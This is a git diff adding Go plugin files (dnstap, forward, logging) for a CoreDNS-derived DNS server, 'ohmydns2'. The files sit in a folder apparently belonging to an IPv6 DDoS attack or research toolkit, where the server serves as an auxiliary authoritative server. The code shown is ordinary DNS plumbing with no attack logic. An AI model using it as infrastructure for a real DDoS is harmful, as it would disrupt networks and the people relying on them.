+ log.Warningf("Dropped dnstap messages: %d", dropped)
+ }
+ if d.enc == nil {
+ d.dial()
+ } else {
+ d.enc.flush()
+ }
+ }
+ }
+}
+
+const (
+ tcpWriteBufSize = 1024 * 1024 // there is no good explanation for why this number has this value.
+ queueSize = 10000 // idem.
+
+ tcpTimeout = 4 * time.Second
+ flushTimeout = 1 * time.Second
+
+ skipVerify = false // by default, every tls connection is verified to be secure
+)
diff --git a/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/dnstap/msg/msg.go b/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/dnstap/msg/msg.go
new file mode 100644
index 0000000..f9d84c4
--- /dev/null
+++ b/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/dnstap/msg/msg.go
@@ -0,0 +1,97 @@
+package msg
+
+import (
+ "fmt"
+ "net"
+ "time"
+
+ tap "github.com/dnstap/golang-dnstap"
+)
+
+var (
+ protoUDP = tap.SocketProtocol_UDP
+ protoTCP = tap.SocketProtocol_TCP
+ familyINET = tap.SocketFamily_INET
+ familyINET6 = tap.SocketFamily_INET6
+)
+
+// SetQueryAddress adds the query address to the message. This also sets the SocketFamily and SocketProtocol.
+func SetQueryAddress(t *tap.Message, addr net.Addr) error {
+ t.SocketFamily = &familyINET
+ switch a := addr.(type) {
+ case *net.TCPAddr:
+ t.SocketProtocol = &protoTCP
+ t.QueryAddress = a.IP
+
+ p := uint32(a.Port)
+ t.QueryPort = &p
+
+ if a.IP.To4() == nil {
+ t.SocketFamily = &familyINET6
+ }
+ return nil
+ case *net.UDPAddr:
+ t.SocketProtocol = &protoUDP
+ t.QueryAddress = a.IP
+
+ p := uint32(a.Port)
+ t.QueryPort = &p
+
+ if a.IP.To4() == nil {
+ t.SocketFamily = &familyINET6
+ }
+ return nil
+ default:
+ return fmt.Errorf("unknown address type: %T", a)
+ }
+}
+
+// SetResponseAddress the response address to the message. This also sets the SocketFamily and SocketProtocol.
+func SetResponseAddress(t *tap.Message, addr net.Addr) error {
+ t.SocketFamily = &familyINET
+ switch a := addr.(type) {
+ case *net.TCPAddr:
+ t.SocketProtocol = &protoTCP
+ t.ResponseAddress = a.IP
+
+ p := uint32(a.Port)
+ t.ResponsePort = &p
+
+ if a.IP.To4() == nil {
+ t.SocketFamily = &familyINET6
+ }
+ return nil
+ case *net.UDPAddr:
+ t.SocketProtocol = &protoUDP
+ t.ResponseAddress = a.IP
+
+ p := uint32(a.Port)
+ t.ResponsePort = &p
+
+ if a.IP.To4() == nil {
+ t.SocketFamily = &familyINET6
+ }
+ return nil
+ default:
+ return fmt.Errorf("unknown address type: %T", a)
+ }
+}
+
+// SetQueryTime sets the time of the query in t.
+func SetQueryTime(t *tap.Message, ti time.Time) {
+ qts := uint64(ti.Unix())
+ qtn := uint32(ti.Nanosecond())
+ t.QueryTimeSec = &qts
+ t.QueryTimeNsec = &qtn
+}
+
+// SetResponseTime sets the time of the response in t.
+func SetResponseTime(t *tap.Message, ti time.Time) {
+ rts := uint64(ti.Unix())
+ rtn := uint32(ti.Nanosecond())
+ t.ResponseTimeSec = &rts
+ t.ResponseTimeNsec = &rtn
+}
+
+// SetType sets the type in t.
+func SetType(t *tap.Message, typ tap.Message_Type) { t.Type = &typ }
diff --git a/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/dnstap/setup.go b/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/dnstap/setup.go
new file mode 100644
index 0000000..6e81ac1
--- /dev/null
+++ b/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/dnstap/setup.go
@@ -0,0 +1,131 @@
+package dnstap
+
+import (
+ "net/url"
+ "ohmydns2/core/dnsserver"
+ "ohmydns2/plugin"
+ olog "ohmydns2/plugin/pkg/log"
+ "os"
+ "strings"
+
+ "github.com/coredns/caddy"
+)
+
+var log = olog.NewWithPlugin("dnstap")
+
+func init() { plugin.Register("dnstap", setup) }
+
+func parseConfig(c *caddy.Controller) ([]*Dnstap, error) {
+ dnstaps := []*Dnstap{}
+
+ for c.Next() { // directive name
+ d := Dnstap{}
+ endpoint := ""
+
+ args := c.RemainingArgs()
+
+ if len(args) == 0 {
+ return nil, c.ArgErr()
+ }
+
+ endpoint = args[0]
+
+ var dio *dio
+ if strings.HasPrefix(endpoint, "tls://") {
+ // remote network endpoint
+ endpointURL, err := url.Parse(endpoint)
+ if err != nil {
+ return nil, c.ArgErr()
+ }
+ dio = newIO("tls", endpointURL.Host)
+ d = Dnstap{io: dio}
+ } else if strings.HasPrefix(endpoint, "tcp://") {
+ // remote network endpoint
+ endpointURL, err := url.Parse(endpoint)
+ if err != nil {
+ return nil, c.ArgErr()
+ }
+ dio = newIO("tcp", endpointURL.Host)
+ d = Dnstap{io: dio}
+ } else {
+ endpoint = strings.TrimPrefix(endpoint, "unix://")
+ dio = newIO("unix", endpoint)
+ d = Dnstap{io: dio}
+ }
+
+ d.IncludeRawMessage = len(args) == 2 && args[1] == "full"
+
+ hostname, _ := os.Hostname()
+ d.Identity = []byte(hostname)
+ d.Version = []byte(caddy.AppName + "-" + caddy.AppVersion)
+
+ for c.NextBlock() {
+ switch c.Val() {
+ case "skipverify":
+ {
+ dio.skipVerify = true
+ }
+ case "identity":
+ {
+ if !c.NextArg() {
+ return nil, c.ArgErr()
+ }
+ d.Identity = []byte(c.Val())
+ }
+ case "version":
+ {
+ if !c.NextArg() {
+ return nil, c.ArgErr()
+ }
+ d.Version = []byte(c.Val())
+ }
+ }
+ }
+ dnstaps = append(dnstaps, &d)
+ }
+ return dnstaps, nil
+}
+
+func setup(c *caddy.Controller) error {
+ dnstaps, err := parseConfig(c)
+ if err != nil {
+ return plugin.Error("dnstap", err)
+ }
+
+ for i := range dnstaps {
+ dnstap := dnstaps[i]
+ c.OnStartup(func() error {
+ if err := dnstap.io.(*dio).connect(); err != nil {
+ log.Errorf("No connection to dnstap endpoint: %s", err)
+ }
+ return nil
+ })
+
+ c.OnRestart(func() error {
+ dnstap.io.(*dio).close()
+ return nil
+ })
+
+ c.OnFinalShutdown(func() error {
+ dnstap.io.(*dio).close()
+ return nil
+ })
+
+ if i == len(dnstaps)-1 {
+ // last dnstap plugin in block: point next to next plugin
+ dnsserver.GetConfig(c).AddPlugin(func(next plugin.Handler) plugin.Handler {
+ dnstap.Next = next
+ return dnstap
+ })
+ } else {
+ // not last dnstap plugin in block: point next to next dnstap
+ nextDnstap := dnstaps[i+1]
+ dnsserver.GetConfig(c).AddPlugin(func(plugin.Handler) plugin.Handler {
+ dnstap.Next = nextDnstap
+ return dnstap
+ })
+ }
+ }
+
+ return nil
+}
diff --git a/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/dnstap/writer.go b/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/dnstap/writer.go
new file mode 100644
index 0000000..9278fcc
--- /dev/null
+++ b/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/dnstap/writer.go
@@ -0,0 +1,39 @@
+package dnstap
+
+import (
+ "ohmydns2/plugin/dnstap/msg"
+ "time"
+
+ tap "github.com/dnstap/golang-dnstap"
+ "github.com/miekg/dns"
+)
+
+// ResponseWriter captures the client response and logs the query to dnstap.
+type ResponseWriter struct {
+ queryTime time.Time
+ query *dns.Msg
+ dns.ResponseWriter
+ Dnstap
+}
+
+// WriteMsg writes back the response to the client and THEN works on logging the request and response to dnstap.
+func (w *ResponseWriter) WriteMsg(resp *dns.Msg) error {
+ err := w.ResponseWriter.WriteMsg(resp)
+ if err != nil {
+ return err
+ }
+
+ r := new(tap.Message)
+ msg.SetQueryTime(r, w.queryTime)
+ msg.SetResponseTime(r, time.Now())
+ msg.SetQueryAddress(r, w.RemoteAddr())
+
+ if w.IncludeRawMessage {
+ buf, _ := resp.Pack()
+ r.ResponseMessage = buf
+ }
+
+ msg.SetType(r, tap.Message_CLIENT_RESPONSE)
+ w.TapMessage(r)
+ return nil
+}
diff --git a/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/forward/dnstap.go b/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/forward/dnstap.go
new file mode 100644
index 0000000..3cfdc59
--- /dev/null
+++ b/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/forward/dnstap.go
@@ -0,0 +1,64 @@
+package forward
+
+import (
+ "net"
+ "ohmydns2/plugin/dnstap/msg"
+ "ohmydns2/plugin/pkg/proxy"
+ "ohmydns2/plugin/pkg/request"
+ "strconv"
+ "time"
+
+ tap "github.com/dnstap/golang-dnstap"
+ "github.com/miekg/dns"
+)
+
+// toDnstap will send the forward and received message to the dnstap plugin.
+func toDnstap(f *Forward, host string, state request.Request, opts proxy.Options, reply *dns.Msg, start time.Time) {
+ h, p, _ := net.SplitHostPort(host) // this is preparsed and can't err here
+ port, _ := strconv.ParseUint(p, 10, 32) // same here
+ ip := net.ParseIP(h)
+
+ var ta net.Addr = &net.UDPAddr{IP: ip, Port: int(port)}
+ t := state.Proto()
+ switch {
+ case opts.ForceTCP:
+ t = "tcp"
+ case opts.PreferUDP:
+ t = "udp"
+ }
+
+ if t == "tcp" {
+ ta = &net.TCPAddr{IP: ip, Port: int(port)}
+ }
+
+ for _, t := range f.tapPlugins {
+ // Query
+ q := new(tap.Message)
+ msg.SetQueryTime(q, start)
+ // Forwarder dnstap messages are from the perspective of the downstream server
+ // (upstream is the forward server)
+ msg.SetQueryAddress(q, state.W.RemoteAddr())
+ msg.SetResponseAddress(q, ta)
+ if t.IncludeRawMessage {
+ buf, _ := state.Req.Pack()
+ q.QueryMessage = buf
+ }
+ msg.SetType(q, tap.Message_FORWARDER_QUERY)
+ t.TapMessage(q)
+
+ // Response
+ if reply != nil {
+ r := new(tap.Message)
+ if t.IncludeRawMessage {
+ buf, _ := reply.Pack()
+ r.ResponseMessage = buf
+ }
+ msg.SetQueryTime(r, start)
+ msg.SetQueryAddress(r, state.W.RemoteAddr())
+ msg.SetResponseAddress(r, ta)
+ msg.SetResponseTime(r, time.Now())
+ msg.SetType(r, tap.Message_FORWARDER_RESPONSE)
+ t.TapMessage(r)
+ }
+ }
+}
diff --git a/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/forward/forward.go b/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/forward/forward.go
new file mode 100644
index 0000000..0355988
--- /dev/null
+++ b/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/forward/forward.go
@@ -0,0 +1,250 @@
+package forward
+
+import (
+ "context"
+ "crypto/tls"
+ "errors"
+ ot "github.com/opentracing/opentracing-go"
+ otext "github.com/opentracing/opentracing-go/ext"
+ "ohmydns2/plugin"
+ "ohmydns2/plugin/debug"
+ "ohmydns2/plugin/dnstap"
+ "ohmydns2/plugin/metadata"
+ "ohmydns2/plugin/pkg/proxy"
+ "ohmydns2/plugin/pkg/request"
+ "sync/atomic"
+ "time"
+
+ "github.com/miekg/dns"
+)
+
+var defaultTimeout = 5 * time.Second
+
+// Forward represents a plugin instance that can proxy requests to another (DNS) server. It has a list
+// of proxies each representing one upstream proxy.
+type Forward struct {
+ concurrent int64 // atomic counters need to be first in struct for proper alignment
+
+ proxies []*proxy.Proxy
+ p Policy
+ hcInterval time.Duration
+
+ from string
+ ignored []string
+
+ tlsConfig *tls.Config
+ tlsServerName string
+ maxfails uint32
+ expire time.Duration
+ maxConcurrent int64
+
+ opts proxy.Options // also here for testing
+
+ // ErrLimitExceeded indicates that a query was rejected because the number of concurrent queries has exceeded
+ // the maximum allowed (maxConcurrent)
+ ErrLimitExceeded error
+
+ tapPlugins []*dnstap.Dnstap // when dnstap plugins are loaded, we use to this to send messages out.
+
+ Next plugin.Handler
+}
+
+// New returns a new Forward.
+func New() *Forward {
+ f := &Forward{maxfails: 2, tlsConfig: new(tls.Config), expire: defaultExpire, p: new(random), from: ".", hcInterval: hcInterval, opts: proxy.Options{ForceTCP: false, PreferUDP: false, HCRecursionDesired: true, HCDomain: "."}}
+ return f
+}
+
+// SetProxy appends p to the proxy list and starts healthchecking.
+func (f *Forward) SetProxy(p *proxy.Proxy) {
+ f.proxies = append(f.proxies, p)
+ p.Start(f.hcInterval)
+}
+
+// SetTapPlugin appends one or more dnstap plugins to the tap plugin list.
+func (f *Forward) SetTapPlugin(tapPlugin *dnstap.Dnstap) {
+ f.tapPlugins = append(f.tapPlugins, tapPlugin)
+ if nextPlugin, ok := tapPlugin.Next.(*dnstap.Dnstap); ok {
+ f.SetTapPlugin(nextPlugin)
+ }
+}
+
+// Len returns the number of configured proxies.
+func (f *Forward) Len() int { return len(f.proxies) }
+
+// Name implements plugin.Handler.
+func (f *Forward) Name() string { return "forward" }
+
+// ServeDNS implements plugin.Handler.
+func (f *Forward) ServeDNS(ctx context.Context, w dns.ResponseWriter, r *dns.Msg) (int, error) {
+ state := request.Request{W: w, Req: r}
+ if !f.match(state) {
+ return plugin.NextOrFailure(f.Name(), f.Next, ctx, w, r)
+ }
+
+ if f.maxConcurrent > 0 {
+ count := atomic.AddInt64(&(f.concurrent), 1)
+ defer atomic.AddInt64(&(f.concurrent), -1)
+ if count > f.maxConcurrent {
+ MaxConcurrentRejectCount.Add(1)
+ return dns.RcodeRefused, f.ErrLimitExceeded
+ }
+ }
+
+ fails := 0
+ var span, child ot.Span
+ var upstreamErr error
+ span = ot.SpanFromContext(ctx)
+ i := 0
+ list := f.List()
+ deadline := time.Now().Add(defaultTimeout)
+ start := time.Now()
+ for time.Now().Before(deadline) {
+ if i >= len(list) {
+ // reached the end of list, reset to begin
+ i = 0
+ fails = 0
+ }
+
+ pProxy := list[i]
+ i++
+ if pProxy.Down(f.maxfails) {
+ fails++
+ if fails < len(f.proxies) {
+ continue
+ }
+ // All upstream proxies are dead, assume healthcheck is completely broken and randomly
+ // select an upstream to connect to.
+ r := new(random)
+ pProxy = r.List(f.proxies)[0]
+
+ HealthcheckBrokenCount.Add(1)
+ }
+
+ if span != nil {
+ child = span.Tracer().StartSpan("connect", ot.ChildOf(span.Context()))
+ otext.PeerAddress.Set(child, pProxy.Addr())
+ ctx = ot.ContextWithSpan(ctx, child)
+ }
+
+ metadata.SetValueFunc(ctx, "forward/upstream", func() string {
+ return pProxy.Addr()
+ })
+
+ var (
+ ret *dns.Msg
+ err error
+ )
+ opts := f.opts
+
+ for {
+ ret, err = pProxy.Connect(ctx, state, opts)
+ if err == ErrCachedClosed { // Remote side closed conn, can only happen with TCP.
+ continue
+ }
+ // Retry with TCP if truncated and prefer_udp configured.
+ if ret != nil && ret.Truncated && !opts.ForceTCP && opts.PreferUDP {
+ opts.ForceTCP = true
+ continue
+ }
+ break
+ }
+
+ if child != nil {
+ child.Finish()
+ }
+
+ if len(f.tapPlugins) != 0 {
+ toDnstap(f, pProxy.Addr(), state, opts, ret, start)
+ }
+
+ upstreamErr = err
+
+ if err != nil {
+ // Kick off health check to see if *our* upstream is broken.
+ if f.maxfails != 0 {
+ pProxy.Healthcheck()
+ }
+
+ if fails < len(f.proxies) {
+ continue
+ }
+ break
+ }
+
+ // Check if the reply is correct; if not return FormErr.
+ if !state.Match(ret) {
+ debug.Hexdumpf(ret, "Wrong reply for id: %d, %s %d", ret.Id, state.QName(), state.QType())
+
+ formerr := new(dns.Msg)
+ formerr.SetRcode(state.Req, dns.RcodeFormatError)
+ w.WriteMsg(formerr)
+ return 0, nil
+ }
+
+ w.WriteMsg(ret)
+ return 0, nil
+ }
+
+ if upstreamErr != nil {
+ return dns.RcodeServerFailure, upstreamErr
+ }
+
+ return dns.RcodeServerFailure, ErrNoHealthy
+}
+
+func (f *Forward) match(state request.Request) bool {
+ if !plugin.Name(f.from).Matches(state.Name()) || !f.isAllowedDomain(state.Name()) {
+ return false
+ }
+
+ return true
+}
+
+func (f *Forward) isAllowedDomain(name string) bool {
+ if dns.Name(name) == dns.Name(f.from) {
+ return true
+ }
+
+ for _, ignore := range f.ignored {
+ if plugin.Name(ignore).Matches(name) {
+ return false
+ }
+ }
+ return true
+}
+
+// ForceTCP returns if TCP is forced to be used even when the request comes in over UDP.
+func (f *Forward) ForceTCP() bool { return f.opts.ForceTCP }
+
+// PreferUDP returns if UDP is preferred to be used even when the request comes in over TCP.
+func (f *Forward) PreferUDP() bool { return f.opts.PreferUDP }
+
+// List returns a set of proxies to be used for this client depending on the policy in f.
+func (f *Forward) List() []*proxy.Proxy { return f.p.List(f.proxies) }
+
+var (
+ // ErrNoHealthy means no healthy proxies left.
+ ErrNoHealthy = errors.New("no healthy proxies")
+ // ErrNoForward means no forwarder defined.
+ ErrNoForward = errors.New("no forwarder defined")
+ // ErrCachedClosed means cached connection was closed by peer.
+ ErrCachedClosed = errors.New("cached connection was closed by peer")
+)
+
+// Options holds various Options that can be set.
+type Options struct {
+ // ForceTCP use TCP protocol for upstream DNS request. Has precedence over PreferUDP flag
+ ForceTCP bool
+ // PreferUDP use UDP protocol for upstream DNS request.
+ PreferUDP bool
+ // HCRecursionDesired sets recursion desired flag for Proxy healthcheck requests
+ HCRecursionDesired bool
+ // HCDomain sets domain for Proxy healthcheck requests
+ HCDomain string
+}
+
+const (
+ defaultExpire = 10 * time.Second
+ hcInterval = 500 * time.Millisecond
+)
diff --git a/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/forward/metric.go b/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/forward/metric.go
new file mode 100644
index 0000000..304753c
--- /dev/null
+++ b/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/forward/metric.go
@@ -0,0 +1,24 @@
+package forward
+
+import (
+ "ohmydns2/plugin"
+
+ "github.com/prometheus/client_golang/prometheus"
+ "github.com/prometheus/client_golang/prometheus/promauto"
+)
+
+// Variables declared for monitoring.
+var (
+ HealthcheckBrokenCount = promauto.NewCounter(prometheus.CounterOpts{
+ Namespace: plugin.Namespace,
+ Subsystem: "forward",
+ Name: "healthcheck_broken_total",
+ Help: "Counter of the number of complete failures of the healthchecks.",
+ })
+ MaxConcurrentRejectCount = promauto.NewCounter(prometheus.CounterOpts{
+ Namespace: plugin.Namespace,
+ Subsystem: "forward",
+ Name: "max_concurrent_rejects_total",
+ Help: "Counter of the number of queries rejected because the concurrent queries were at maximum.",
+ })
+)
diff --git a/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/forward/policy.go b/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/forward/policy.go
new file mode 100644
index 0000000..614829a
--- /dev/null
+++ b/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/forward/policy.go
@@ -0,0 +1,68 @@
+package forward
+
+import (
+ "ohmydns2/plugin/pkg/proxy"
+ "ohmydns2/plugin/pkg/rand"
+ "sync/atomic"
+ "time"
+)
+
+// Policy defines a policy we use for selecting upstreams.
+type Policy interface {
+ List([]*proxy.Proxy) []*proxy.Proxy
+ String() string
+}
+
+// random is a policy that implements random upstream selection.
+type random struct{}
+
+func (r *random) String() string { return "random" }
+
+func (r *random) List(p []*proxy.Proxy) []*proxy.Proxy {
+ switch len(p) {
+ case 1:
+ return p
+ case 2:
+ if rn.Int()%2 == 0 {
+ return []*proxy.Proxy{p[1], p[0]} // swap
+ }
+ return p
+ }
+
+ perms := rn.Perm(len(p))
+ rnd := make([]*proxy.Proxy, len(p))
+
+ for i, p1 := range perms {
+ rnd[i] = p[p1]
+ }
+ return rnd
+}
+
+// roundRobin is a policy that selects hosts based on round robin ordering.
+type roundRobin struct {
+ robin uint32
+}
+
+func (r *roundRobin) String() string { return "round_robin" }
+
+func (r *roundRobin) List(p []*proxy.Proxy) []*proxy.Proxy {
+ poolLen := uint32(len(p))
+ i := atomic.AddUint32(&r.robin, 1) % poolLen
+
+ robin := []*proxy.Proxy{p[i]}
+ robin = append(robin, p[:i]...)
+ robin = append(robin, p[i+1:]...)
+
+ return robin
+}
+
+// sequential is a policy that selects hosts based on sequential ordering.
+type sequential struct{}
+
+func (r *sequential) String() string { return "sequential" }
+
+func (r *sequential) List(p []*proxy.Proxy) []*proxy.Proxy {
+ return p
+}
+
+var rn = rand.New(time.Now().UnixNano())
diff --git a/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/forward/setup.go b/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/forward/setup.go
new file mode 100644
index 0000000..9361e6a
--- /dev/null
+++ b/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/forward/setup.go
@@ -0,0 +1,291 @@
+package forward
+
+import (
+ "crypto/tls"
+ "errors"
+ "fmt"
+ "ohmydns2/core/dnsserver"
+ "ohmydns2/plugin"
+ "ohmydns2/plugin/dnstap"
+ "ohmydns2/plugin/pkg/log"
+ "ohmydns2/plugin/pkg/parse"
+ "ohmydns2/plugin/pkg/proxy"
+ pkgtls "ohmydns2/plugin/pkg/tls"
+ "ohmydns2/plugin/pkg/transport"
+ "strconv"
+ "time"
+
+ "github.com/coredns/caddy"
+ "github.com/miekg/dns"
+)
+
+func init() { plugin.Register("forward", setup) }
+
+func setup(c *caddy.Controller) error {
+ fs, err := parseForward(c)
+ if err != nil {
+ return plugin.Error("forward", err)
+ }
+ for i := range fs {
+ f := fs[i]
+ if f.Len() > max {
+ return plugin.Error("forward", fmt.Errorf("more than %d TOs configured: %d", max, f.Len()))
+ }
+
+ if i == len(fs)-1 {
+ // last forward: point next to next plugin
+ dnsserver.GetConfig(c).AddPlugin(func(next plugin.Handler) plugin.Handler {
+ f.Next = next
+ return f
+ })
+ } else {
+ // middle forward: point next to next forward
+ nextForward := fs[i+1]
+ dnsserver.GetConfig(c).AddPlugin(func(plugin.Handler) plugin.Handler {
+ f.Next = nextForward
+ return f
+ })
+ }
+
+ c.OnStartup(func() error {
+ return f.OnStartup()
+ })
+ c.OnStartup(func() error {
+ if taph := dnsserver.GetConfig(c).Handler("dnstap"); taph != nil {
+ f.SetTapPlugin(taph.(*dnstap.Dnstap))
+ }
+ return nil
+ })
+
+ c.OnShutdown(func() error {
+ return f.OnShutdown()
+ })
+ }
+
+ return nil
+}
+
+// OnStartup starts a goroutines for all proxies.
+func (f *Forward) OnStartup() (err error) {
+ for _, p := range f.proxies {
+ p.Start(f.hcInterval)
+ }
+ return nil
+}
+
+// OnShutdown stops all configured proxies.
+func (f *Forward) OnShutdown() error {
+ for _, p := range f.proxies {
+ p.Stop()
+ }
+ return nil
+}
+
+func parseForward(c *caddy.Controller) ([]*Forward, error) {
+ var fs = []*Forward{}
+ for c.Next() {
+ f, err := parseStanza(c)
+ if err != nil {
+ return nil, err
+ }
+ fs = append(fs, f)
+ }
+ return fs, nil
+}
+
+func parseStanza(c *caddy.Controller) (*Forward, error) {
+ f := New()
+
+ if !c.Args(&f.from) {
+ return f, c.ArgErr()
+ }
+ origFrom := f.from
+ zones := plugin.Host(f.from).NormalizeExact()
+ if len(zones) == 0 {
+ return f, fmt.Errorf("unable to normalize '%s'", f.from)
+ }
+ f.from = zones[0] // there can only be one here, won't work with non-octet reverse
+
+ if len(zones) > 1 {
+ log.Warningf("Unsupported CIDR notation: '%s' expands to multiple zones. Using only '%s'.", origFrom, f.from)
+ }
+
+ to := c.RemainingArgs()
+ if len(to) == 0 {
+ return f, c.ArgErr()
+ }
+
+ toHosts, err := parse.HostPortOrFile(to...)
+ if err != nil {
+ return f, err
+ }
+
+ transports := make([]string, len(toHosts))
+ allowedTrans := map[string]bool{"dns": true, "tls": true}
+ for i, host := range toHosts {
+ trans, h := parse.Transport(host)
+
+ if !allowedTrans[trans] {
+ return f, fmt.Errorf("'%s' is not supported as a destination protocol in forward: %s", trans, host)
+ }
+ p := proxy.NewProxy(h, trans)
+ f.proxies = append(f.proxies, p)
+ transports[i] = trans
+ }
+
+ for c.NextBlock() {
+ if err := parseBlock(c, f); err != nil {
+ return f, err
+ }
+ }
+
+ if f.tlsServerName != "" {
+ f.tlsConfig.ServerName = f.tlsServerName
+ }
+
+ // Initialize ClientSessionCache in tls.Config. This may speed up a TLS handshake
+ // in upcoming connections to the same TLS server.
+ f.tlsConfig.ClientSessionCache = tls.NewLRUClientSessionCache(len(f.proxies))
+
+ for i := range f.proxies {
+ // Only set this for proxies that need it.
+ if transports[i] == transport.TLS {
+ f.proxies[i].SetTLSConfig(f.tlsConfig)
+ }
+ f.proxies[i].SetExpire(f.expire)
+ f.proxies[i].GetHealthchecker().SetRecursionDesired(f.opts.HCRecursionDesired)
+ // when TLS is used, checks are set to tcp-tls
+ if f.opts.ForceTCP && transports[i] != transport.TLS {
+ f.proxies[i].GetHealthchecker().SetTCPTransport()
+ }
+ f.proxies[i].GetHealthchecker().SetDomain(f.opts.HCDomain)
+ }
+
+ return f, nil
+}
+
+func parseBlock(c *caddy.Controller, f *Forward) error {
+ switch c.Val() {
+ case "except":
+ ignore := c.RemainingArgs()
+ if len(ignore) == 0 {
+ return c.ArgErr()
+ }
+ for i := 0; i < len(ignore); i++ {
+ f.ignored = append(f.ignored, plugin.Host(ignore[i]).NormalizeExact()...)
+ }
+ case "max_fails":
+ if !c.NextArg() {
+ return c.ArgErr()
+ }
+ n, err := strconv.ParseUint(c.Val(), 10, 32)
+ if err != nil {
+ return err
+ }
+ f.maxfails = uint32(n)
+ case "health_check":
+ if !c.NextArg() {
+ return c.ArgErr()
+ }
+ dur, err := time.ParseDuration(c.Val())
+ if err != nil {
+ return err
+ }
+ if dur < 0 {
+ return fmt.Errorf("health_check can't be negative: %d", dur)
+ }
+ f.hcInterval = dur
+ f.opts.HCDomain = "."
+
+ for c.NextArg() {
+ switch hcOpts := c.Val(); hcOpts {
+ case "no_rec":
+ f.opts.HCRecursionDesired = false
+ case "domain":
+ if !c.NextArg() {
+ return c.ArgErr()
+ }
+ hcDomain := c.Val()
+ if _, ok := dns.IsDomainName(hcDomain); !ok {
+ return fmt.Errorf("health_check: invalid domain name %s", hcDomain)
+ }
+ f.opts.HCDomain = plugin.Name(hcDomain).Normalize()
+ default:
+ return fmt.Errorf("health_check: unknown option %s", hcOpts)
+ }
+ }
+
+ case "force_tcp":
+ if c.NextArg() {
+ return c.ArgErr()
+ }
+ f.opts.ForceTCP = true
+ case "prefer_udp":
+ if c.NextArg() {
+ return c.ArgErr()
+ }
+ f.opts.PreferUDP = true
+ case "tls":
+ args := c.RemainingArgs()
+ if len(args) > 3 {
+ return c.ArgErr()
+ }
+
+ tlsConfig, err := pkgtls.NewTLSConfigFromArgs(args...)
+ if err != nil {
+ return err
+ }
+ f.tlsConfig = tlsConfig
+ case "tls_servername":
+ if !c.NextArg() {
+ return c.ArgErr()
+ }
+ f.tlsServerName = c.Val()
+ case "expire":
+ if !c.NextArg() {
+ return c.ArgErr()
+ }
+ dur, err := time.ParseDuration(c.Val())
+ if err != nil {
+ return err
+ }
+ if dur < 0 {
+ return fmt.Errorf("expire can't be negative: %s", dur)
+ }
+ f.expire = dur
+ case "policy":
+ if !c.NextArg() {
+ return c.ArgErr()
+ }
+ switch x := c.Val(); x {
+ case "random":
+ f.p = &random{}
+ case "round_robin":
+ f.p = &roundRobin{}
+ case "sequential":
+ f.p = &sequential{}
+ default:
+ return c.Errf("unknown policy '%s'", x)
+ }
+ case "max_concurrent":
+ if !c.NextArg() {
+ return c.ArgErr()
+ }
+ n, err := strconv.Atoi(c.Val())
+ if err != nil {
+ return err
+ }
+ if n < 0 {
+ return fmt.Errorf("max_concurrent can't be negative: %d", n)
+ }
+ f.ErrLimitExceeded = errors.New("concurrent queries exceeded maximum " + c.Val())
+ f.maxConcurrent = int64(n)
+
+ default:
+ return c.Errf("unknown property '%s'", c.Val())
+ }
+
+ return nil
+}
+
+const max = 15 // Maximum number of upstreams.
diff --git a/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/log/README.md b/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/log/README.md
new file mode 100644
index 0000000..b2ae9af
--- /dev/null
+++ b/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/log/README.md
@@ -0,0 +1,4 @@
+# log
+*log--启用查询记录到标准输出*
+## 简介
+通过使用*log*,可以将所有查询(以及回复的部分)转存到标准输出上。并可通过一些选项稍微调整输出。请注意,对于繁忙的服务器,日志记录会导致性能下降。启用或禁用日志插件只会影响查询日志记录,任何其他来自 OhmyDNS 的日志记录都会显示出来。 \ No newline at end of file
diff --git a/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/log/log.go b/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/log/log.go
new file mode 100644
index 0000000..81e5a3b
--- /dev/null
+++ b/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/log/log.go
@@ -0,0 +1,72 @@
+package log
+
+import (
+ "context"
+ "ohmydns2/plugin"
+ "ohmydns2/plugin/pkg/dnstest"
+ olog "ohmydns2/plugin/pkg/log"
+ "ohmydns2/plugin/pkg/replacer"
+ "ohmydns2/plugin/pkg/request"
+ "ohmydns2/plugin/pkg/response"
+ "time"
+
+ "github.com/miekg/dns"
+)
+
+// Logger is a basic request logging plugin.
+type Logger struct {
+ Next plugin.Handler
+ Rules []Rule
+
+ repl replacer.Replacer
+}
+
+// ServeDNS implements the plugin.Handler interface.
+func (l Logger) ServeDNS(ctx context.Context, w dns.ResponseWriter, r *dns.Msg) (int, error) {
+ state := request.Request{W: w, Req: r}
+ name := state.Name()
+ for _, rule := range l.Rules {
+ if !plugin.Name(rule.NameScope).Matches(name) {
+ continue
+ }
+
+ rrw := dnstest.NewRecorder(w)
+ rc, err := plugin.NextOrFailure(l.Name(), l.Next, ctx, rrw, r)
+
+ // If we don't set up a class in config, the default "all" will be added
+ // and we shouldn't have an empty rule.Class.
+ _, ok := rule.Class[response.All]
+ var ok1 bool
+ if !ok {
+ tpe, _ := response.Typify(rrw.Msg, time.Now().UTC())
+ class := response.Classify(tpe)
+ _, ok1 = rule.Class[class]
+ }
+ if ok || ok1 {
+ logstr := l.repl.Replace(ctx, state, rrw, rule.Format)
+ olog.Info(logstr)
+ }
